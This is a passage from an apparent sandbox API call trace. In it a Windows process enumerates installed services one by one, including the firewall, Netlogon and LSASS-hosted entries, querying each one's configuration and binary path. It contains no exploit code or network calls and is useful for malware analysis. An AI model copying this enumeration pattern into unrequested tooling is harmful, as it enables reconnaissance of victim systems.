pcbBytesNeeded=0x18fbe8) returned 0 [0028.039] GetLastError () returned 0x7a [0028.039] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x19c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d18588, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x1d18588, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanserver", lpUsedDefaultChar=0x0) returned 12 [0028.039] OpenServiceW (hSCManager=0x286c38, lpServiceName="LanmanServer", dwDesiredAccess=0x1) returned 0x286dc8 [0028.039] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0028.040] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.040] GetLastError () returned 0x7a [0028.040] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0xf8, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d185d0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x1d185d0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanworkstation", lpUsedDefaultChar=0x0) returned 17 [0028.040] OpenServiceW (hSCManager=0x286c38, lpServiceName="LanmanWorkstation", dwDesiredAccess=0x1) returned 0x286d28 [0028.040] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0028.040] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.040] GetLastError () returned 0x7a [0028.041] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x174, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d18618, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x1d18618, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdsvc", lpUsedDefaultChar=0x0) returned 7 [0028.041] OpenServiceW (hSCManager=0x286c38, lpServiceName="lltdsvc", dwDesiredAccess=0x1) returned 0x286e18 [0028.041] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0028.041] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.041] GetLastError () returned 0x7a [0028.041] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x160, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d18660, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x1d18660, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lmhosts", lpUsedDefaultChar=0x0) returned 7 [0028.042] OpenServiceW (hSCManager=0x286c38, lpServiceName="lmhosts", dwDesiredAccess=0x1) returned 0x286d00 [0028.042] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0028.042] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.042] GetLastError () returned 0x7a [0028.042] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x164, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d186a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x1d186a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mcx2svc", lpUsedDefaultChar=0x0) returned 7 [0028.043] OpenServiceW (hSCManager=0x286c38, lpServiceName="Mcx2Svc", dwDesiredAccess=0x1) returned 0x286dc8 [0028.043] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0028.043] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.043] GetLastError () returned 0x7a [0028.043] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x1a8, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d186f0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0028.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x1d186f0, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sharepoint workspace audit service", lpUsedDefaultChar=0x0) returned 44 [0028.043] OpenServiceW (hSCManager=0x286c38, lpServiceName="Microsoft SharePoint Workspace Audit Service", dwDesiredAccess=0x1) returned 0x286d28 [0028.044] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0028.044] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.044] GetLastError () returned 0x7a [0028.044] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x184, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="groove.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="groove.exe", cchWideChar=10, lpMultiByteStr=0x1d18738, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="groove.exe", lpUsedDefaultChar=0x0) returned 10 [0028.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x1d18738, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmcss", lpUsedDefaultChar=0x0) returned 5 [0028.044] OpenServiceW (hSCManager=0x286c38, lpServiceName="MMCSS", dwDesiredAccess=0x1) returned 0x286e18 [0028.044] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0028.045] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.045] GetLastError () returned 0x7a [0028.045] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x10e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d18780, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0028.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x1d18780, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mozillamaintenance", lpUsedDefaultChar=0x0) returned 18 [0028.045] OpenServiceW (hSCManager=0x286c38, lpServiceName="MozillaMaintenance", dwDesiredAccess=0x1) returned 0x286d00 [0028.045] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0028.045] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.046] GetLastError () returned 0x7a [0028.046] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x152, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="maintenanceservice.exe", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0028.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="maintenanceservice.exe", cchWideChar=22, lpMultiByteStr=0x1d187c8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="maintenanceservice.exe", lpUsedDefaultChar=0x0) returned 22 [0028.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x1d187c8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpssvc", lpUsedDefaultChar=0x0) returned 6 [0028.046] OpenServiceW (hSCManager=0x286c38, lpServiceName="MpsSvc", dwDesiredAccess=0x1) returned 0x286dc8 [0028.046] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0028.046] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.047] GetLastError () returned 0x7a [0028.047] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x164, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d18810, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x1d18810, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0028.082] OpenServiceW (hSCManager=0x286c38, lpServiceName="MSDTC", dwDesiredAccess=0x1) returned 0x286d28 [0028.082] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0028.082] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.083] GetLastError () returned 0x7a [0028.083] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x13c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc.exe", cchWideChar=9, lpMultiByteStr=0x1d18858, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc.exe", lpUsedDefaultChar=0x0) returned 9 [0028.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x1d18858, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiscsi", lpUsedDefaultChar=0x0) returned 7 [0028.083] OpenServiceW (hSCManager=0x286c38, lpServiceName="MSiSCSI", dwDesiredAccess=0x1) returned 0x286e18 [0028.083] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0028.083] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.083] GetLastError () returned 0x7a [0028.084] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x126, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d188a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x1d188a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiserver", lpUsedDefaultChar=0x0) returned 9 [0028.084] OpenServiceW (hSCManager=0x286c38, lpServiceName="msiserver", dwDesiredAccess=0x1) returned 0x286d00 [0028.084] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0028.084] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.084] GetLastError () returned 0x7a [0028.084] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0xf6, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiexec.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiexec.exe", cchWideChar=11, lpMultiByteStr=0x1d188e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiexec.exe", lpUsedDefaultChar=0x0) returned 11 [0028.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napagent", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napagent", cchWideChar=8, lpMultiByteStr=0x1d188e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napagent", lpUsedDefaultChar=0x0) returned 8 [0028.085] OpenServiceW (hSCManager=0x286c38, lpServiceName="napagent", dwDesiredAccess=0x1) returned 0x286dc8 [0028.085] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0028.085] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.085] GetLastError () returned 0x7a [0028.085] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x150, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d18930, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netlogon", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netlogon", cchWideChar=8, lpMultiByteStr=0x1d18930, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netlogon", lpUsedDefaultChar=0x0) returned 8 [0028.085] OpenServiceW (hSCManager=0x286c38, lpServiceName="Netlogon", dwDesiredAccess=0x1) returned 0x286d28 [0028.086] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0028.086] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.086] GetLastError () returned 0x7a [0028.086] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x126, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x1d18978, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsass.exe", lpUsedDefaultChar=0x0) returned 9 [0028.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netman", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netman", cchWideChar=6, lpMultiByteStr=0x1d18978, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netman", lpUsedDefaultChar=0x0) returned 6 [0028.086] OpenServiceW (hSCManager=0x286c38, lpServiceName="Netman", dwDesiredAccess=0x1) returned 0x286e18 [0028.099] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0028.099] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.099] GetLastError () returned 0x7a [0028.099] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x13c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 